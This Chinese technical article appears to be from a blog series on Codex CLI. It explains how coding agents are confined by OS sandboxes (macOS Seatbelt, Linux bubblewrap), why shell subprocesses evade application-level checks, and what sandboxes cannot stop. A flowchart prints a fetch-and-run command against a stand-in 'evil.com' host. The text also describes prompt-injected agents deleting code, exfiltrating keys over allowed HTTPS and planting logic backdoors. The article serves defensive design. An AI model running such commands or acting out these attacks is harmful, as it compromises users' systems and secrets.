在探讨 Coding Agent 的安全模型时，行业内主要存在三条工程实现路径：

1. 应用层拦截（Application-Level Inspection）：以 Claude Code 为代表，框架在执行操作前，于用户空间代码中通过白名单或模式匹配来判断合法性；
2. 策略平面（Policy Plane）：以 DeepSeek Harness 为代表，将权限裁决作为可编程的插件系统，能够结合任务调用栈等上下文进行动态求值；
3. 平台原生沙箱（Platform-Native Sandbox）：以 OpenAI Codex CLI 为代表，直接利用操作系统的内核机制施加进程级强制访问控制。

第三条路径的核心工程逻辑在于：真正的安全边界不应当写在应用程序的代码里，而应当交给操作系统内核。

即便 Agent 自身的调度代码存在逻辑漏洞，或者大模型通过 Prompt 越狱生成了恶意指令，只要系统调用尝试越过沙箱设定的边界，内核就会直接返回 EPERM（Operation not permitted）。本篇深入解析 Codex CLI 在 macOS 与 Linux 上的原生沙箱实现机理。

核心防御点：子进程继承与逃逸拦截

在终端执行代码时，应用层权限检查面临的最典型盲区就是子进程衍生（Subprocess Spawning）：

  flowchart TD
    subgraph AppLevelCheck["应用层拦截模式（如 Claude Code）"]
        A1["模型生成命令:<br/><code>bash -c 'curl evil.com/script.sh | sh'</code>"] --> A2["应用层检查: <code>bash</code> 允许执行?"]
        A2 --> |放行| A3["操作系统启动 bash 进程"]
        A3 --> A4["bash 隐式启动子进程 curl 与 sh"]
        A4 --> |逃逸| A5["<b>绕过应用层监控<br/>子进程随意读写与联网</b>"]
    end

    subgraph NativeSandbox["平台原生沙箱模式（Codex CLI）"]
        B1["Rust 内核包装沙箱环境:<br/>macOS Seatbelt / Linux bwrap"] --> B2["内核加载访问控制 Profile"]
        B2 --> B3["在沙箱内启动子进程 bash"]
        B3 --> B4["bash 衍生子进程 curl 与 sh"]
        B4 --> |内核系统调用拦截| B5["<b>所有子进程自动继承约束<br/>违规系统调用直接被内核终止</b>"]
    end
  

如果仅仅在 Node.js 中对输入命令做正则匹配，当模型派发 bash -c "..." 或运行一个本身会修改其他目录的第三方 Python 编译脚本时，应用层很难追踪复杂的系统调用链。而操作系统原生的沙箱机制具备一个关键特质：沙箱约束是不可逆的，且所有 fork / exec 衍生的子进程和孙进程都会自动继承同一套安全边界。

macOS 实现：Seatbelt (SBPL) 机制

在 macOS 上，Codex 借助苹果底层的 Seatbelt 强制访问控制框架（又称 Sandbox API）实现隔离。

运行机制与系统调用

在 Rust 内核派发工具执行前，通过 FFI 调用系统级接口：

1
2
3
4
5
6
7
8

// 概念代码：Rust 中通过 libc / nix 调用 macOS 沙箱原语
extern "C" {
    fn sandbox_init(
        profile: *const libc::c_char,
        flags: u64,
        errorbuf: *mut *mut libc::c_char,
    ) -> libc::c_int;
}

一旦进程调用 sandbox_init 成功注册了指定 Profile，该约束即被永久烙印在内核的进程描述符上。即使该进程拥有当前的系统用户权限，也无法通过任何方式自行“解除”沙箱。

规则画像与约束边界

在默认的 workspace-write 模式下，Codex 生成的 SBPL（Seatbelt Profile Language）规则大致包含以下边界：

• 文件系统读取：允许读取绝大多数系统类库（如 /usr/lib/、/System/Library/）以及项目运行所需的依赖路径；
• 文件系统写入：仅限当前工作区根目录（$PWD）以及在 TOML 中显式配置的 writable_roots；禁止向 ~/.ssh、~/.bash_profile、/Library 或根目录写入任何内容；
• 网络访问：限制出站端口，阻断对本地私有网段的任意嗅探；
• 系统敏感服务：禁止访问系统 Keychain、摄像头、麦克风等隐私 API。

Seatbelt 的工程局限

1. 接口未完全公开：苹果并未公开详尽的 SBPL 官方开发文档，大量规则依赖系统内部逆向或既有开源工具的沉淀，macOS 大版本升级时可能存在细微行为变动；
2. 缺乏文件内容语义理解：沙箱只认识“路径”，不认识“操作意图”。模型执行 rm -rf src/main.rs 与合法保存新代码，在内核看来都是对允许目录的写操作；
3. 无法限制 CPU 与内存耗尽：Seatbelt 仅拦截特定系统调用，无法原生防御死循环消耗 CPU。

Linux 实现：Bubblewrap (bwrap) 与用户命名空间

在 Linux 平台，Codex 并不依赖 Docker Daemon，而是采用 Bubblewrap（bwrap），利用 Linux 内核的用户命名空间（User Namespaces）构建无特权轻量隔离。

为什么选择 Bubblewrap 而非 Docker？

很多开发者会问：为什么不直接为每个命令启动一个 Docker 容器？原因在于启动延迟与开销：

对于一个在一分钟内可能连续执行几十次小命令的 Coding Agent 而言，几十毫秒的沙箱开销是决定交互是否跟手的生命线。

Bubblewrap 的挂载策略

Codex 在 Linux 下启动子进程时，在后台构建的 bwrap 管道大致等效于以下指令：

1
2
3
4
5
6
7
8
9

bwrap \
  --ro-bind / / \
  --bind "$PROJECT_DIR" "$PROJECT_DIR" \
  --dev /dev \
  --proc /proc \
  --tmpfs /tmp \
  --unshare-pid \
  --unshare-net \
  -- /bin/bash -c "cargo test"

• --ro-bind / /：将整个宿主根文件系统以只读模式映射入沙箱，允许读取所有编译工具链和动态类库，但禁止篡改宿主系统；
• --bind "$PROJECT_DIR" "$PROJECT_DIR"：仅将当前项目工程目录以可读写模式挂载；
• --tmpfs /tmp：分配干净的独立临时目录，避免污染宿主机临时文件；
• --unshare-pid：创建独立的 PID 命名空间，沙箱内的进程无法看到或 kill 宿主机的其他进程；
• --unshare-net：断开非必要的网络栈（根据配置选用）。

平台沙箱的防护边界：哪些能防，哪些防不住？

必须客观认识到，平台原生沙箱是安全防护的底线钢印，但它并不能包办一切安全问题：

  flowchart LR
    subgraph CanDefend["平台沙箱能够绝对防御"]
        C1["跨项目/跨目录篡改 (/etc, ~/.ssh)"]
        C2["恶意子进程通过 fork/exec 逃逸"]
        C3["未授权修改系统网络配置"]
        C4["未授权访问系统硬件或密钥环"]
    end

    subgraph CannotDefend["平台沙箱无法防御 (需上层协作)"]
        N1["<b>Prompt Injection 注入攻击</b><br/>在允许目录内恶意清空源码"]
        N2["<b>合规出站通道泄密</b><br/>通过合法允许的 API 出站泄露 Key"]
        N3["<b>代码逻辑投毒</b><br/>生成含隐蔽逻辑后门的业务代码"]
        N4["<b>计算资源耗尽</b><br/>死循环占用 100% 宿主 CPU"]
    end
  

1. 防不住合规路径内的破坏：在 workspace-write 模式下，模型拥有当前项目的完整写入权限。如果被恶意 Prompt 注入，模型在当前目录内执行了删除代码库的操作，操作系统沙箱是无法阻拦的。
2. 防不住出站泄密：由于 Agent 调用大模型自身必须开放出站 HTTPS 权限，如果模型被操纵把环境变量中的敏感 Key 通过请求参数附带出去，沙箱是放行的。
3. 因此，生产落地必须采用“防御深度（Defense in Depth）”：
   • 内核沙箱：锁死文件系统路径边界；
   • TOML 审批策略：对删除或高危 Shell 指令进行人工二次确认；
   • Git 版本控制：随时兜底撤销工作区内的意外变动。

2026 年中期的多租户安全演进：Guardian 隔离

随着 Codex 逐步面向更复杂的自动化场景演进，社区在 2026 年 8 月合并了关键的隔离架构 PR（如 PR #39962）：Guardian 审查角色与 Executor 执行角色的沙箱隔离。

在此演进前，负责审查 Agent 行为合规性的评估模块与执行业务代码的 Executor 处于同一权限域；而在隔离架构下，Guardian 运行在独立的无工具沙箱中，仅能查看执行日志和 Diff，彻底切断了第三方 MCP 恶意服务端利用 Guardian 提权渗透的路径。

下一步

通过内核沙箱锁死底层之后，Agent 如何在受限环境下优雅地调用外部工具？OpenAI 投入超过 1,100 个 PR 的 MCP 体系是如何在 Rust 层高效运转的？下一篇将深度剖析：Codex-04-MCP深度集成与双通道协议。